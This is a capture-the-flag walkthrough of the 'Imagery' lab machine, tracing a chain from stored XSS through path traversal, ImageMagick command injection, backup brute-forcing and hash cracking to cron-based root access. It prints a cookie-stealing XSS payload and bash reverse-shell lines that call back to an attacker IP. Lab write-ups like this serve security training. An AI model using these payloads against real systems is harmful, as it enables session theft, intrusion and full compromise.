Overview

Imagery is a Medium-difficulty Linux machine that chains together multiple modern web vulnerabilities with a custom privilege-escalation vector. The box rewards careful enumeration, source code review, and understanding how small misconfigurations compound into full system compromise.

Vulnerabilities covered

  • Stored Cross-Site Scripting (XSS)
  • Session hijacking
  • Path Traversal / Local File Inclusion (LFI)
  • Command Injection via ImageMagick
  • AES-encrypted backup brute-forcing
  • MD5 hash cracking
  • Misconfigured sudo + custom binary
  • Cron job abuse for root escalation

Reconnaissance

Port Scan

I started with a standard Nmap scan:

nmap -sC -sV -oN nmap/initial 10.129.4.183

Results:

22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)

Initial Observations

  • SSH is exposed but not immediately exploitable
  • Port 8000 is running Werkzeug, the development server commonly used with Flask
  • Development servers often lack production hardening

Visiting the web application revealed an Image Gallery with authentication, uploads, and image editing functionality.

Web Application Enumeration

After registering a normal user account, I explored the application's functionality:

  • Image upload & gallery
  • User authentication
  • Image transformations
  • Bug reporting feature

Basic attacks (SSTI, file upload bypasses, MIME tricks) failed, meaning the vulnerabilities were likely logic, or implementation-based.

JavaScript Recon

Rather than blindly testing endpoints, I reviewed the client-side JavaScript.

The main JS file was ~1,800 lines long, so I searched for fetch() calls instead.

Discovered API Endpoints

/login
/register
/logout
/upload_image
/get_images
/delete_image
/apply_visual_transform
/admin/get_system_log
/admin/manage_users
/admin/view_reports
/report_bug   ← accessible to normal users

The /report_bug endpoint immediately stood out.

Initial Access — Stored XSS

Bug Report Feature

Bug reports are submitted as JSON and later viewed by administrators. If user input isn't sanitized on display, this is a perfect candidate for stored XSS.

Payload

<img src=x onerror="fetch('http://10.10.15.233/?'+document.cookie)">

This payload:

  • Forces an image load error
  • Executes JavaScript via onerror
  • Exfiltrates the admin's session cookie

Exploitation

  1. Start a listener: python3 -m http.server 80
  2. Submit the payload via /report_bug
  3. Wait for the admin to view the report

Result

The admin's session cookie was sent to my server.

By replacing my session cookie in the browser with the stolen one, I gained full admin access.

Path Traversal via Admin Panel

Log Download Feature

The admin panel allowed downloading logs using a query parameter:

/admin/get_system_log?log_identifier=filename.log

No validation appeared to be applied.

Proof of Vulnerability

GET /admin/get_system_log?log_identifier=../../../../etc/passwd

Result: /etc/passwd successfully returned.

This confirmed path traversal / LFI.

Source Code Disclosure

With arbitrary file read, I downloaded the full Flask application:

  • app.py
  • config.py
  • utils.py
  • api_edit.py
  • db.json

The most valuable file was api_edit.py.

Command Injection — ImageMagick

Vulnerable Code

command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} \
-crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, shell=True)

Why This Is Dangerous

  • User-controlled input
  • String interpolation
  • shell=True

This is a textbook command injection.

Exploitation

I injected a reverse shell through the x parameter:

"x": "0; bash -c 'bash -i >& /dev/tcp/10.10.15.233/4444 0>&1' #"

Listener:

nc -lvnp 4444

Result

Shell as web user obtained

Lateral Movement — Encrypted Backup

While enumerating the filesystem:

find /var -name "*.aes"

I discovered:

/var/backups/web_20250806_120723.zip.aes

World-readable, root-owned, and clearly automated.

AES Brute-Force

After transferring the file locally, I brute-forced it using pyAesCrypt with rockyou.txt.

Result

Password found: bestfriends

The decrypted ZIP contained an older version of the application, including a previous db.json.

Credential Recovery

Old Database File

{
  "username": "mark@imagery.htb",
  "password": "01c3d2e5bdaf6134cec0a367cf53e535"
}

Hash Cracking

hashcat -m 0 mark_hash.txt rockyou.txt

Password: supersmash

User Flag

su - mark
cat user.txt

✅ User flag captured.

Privilege Escalation — Charcol Binary

Sudo Permissions

sudo -l
(ALL) NOPASSWD: /usr/local/bin/charcol

About Charcol

Charcol is a custom backup utility with:

  • An interactive shell
  • Cron job management
  • Root execution via sudo
  • No validation of executed commands

Exploiting Charcol

Resetting Protection

sudo charcol -R shell

This resets the application password and stores config in /root/.charcol/.

Cron Job Abuse

Inside the Charcol shell:

auto add \
--schedule "* * * * *" \
--command "/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.233/4445 0>&1'" \
--name "root_shell"

Listener:

nc -lvnp 4445

Root Access

Within one minute, the cron job executed.

root@Imagery:~# id
uid=0(root)

🚩 Root flag obtained

Attack Chain Summary

Stored XSS
 → Admin session hijack
 → Path traversal
 → Source code disclosure
 → Command injection
 → Web shell
 → Encrypted backup
 → AES brute-force
 → MD5 cracking
 → User access
 → Sudo misconfiguration
 → Cron job abuse
 → Root

Final Thoughts

Imagery is an excellent Medium box that demonstrates how small web flaws, when chained correctly, lead to full system compromise. It emphasizes:

  • Client-side code review
  • Source disclosure impact
  • Why shell=True is dangerous
  • How custom tooling often introduces critical flaws

Highly recommended.

— al3xx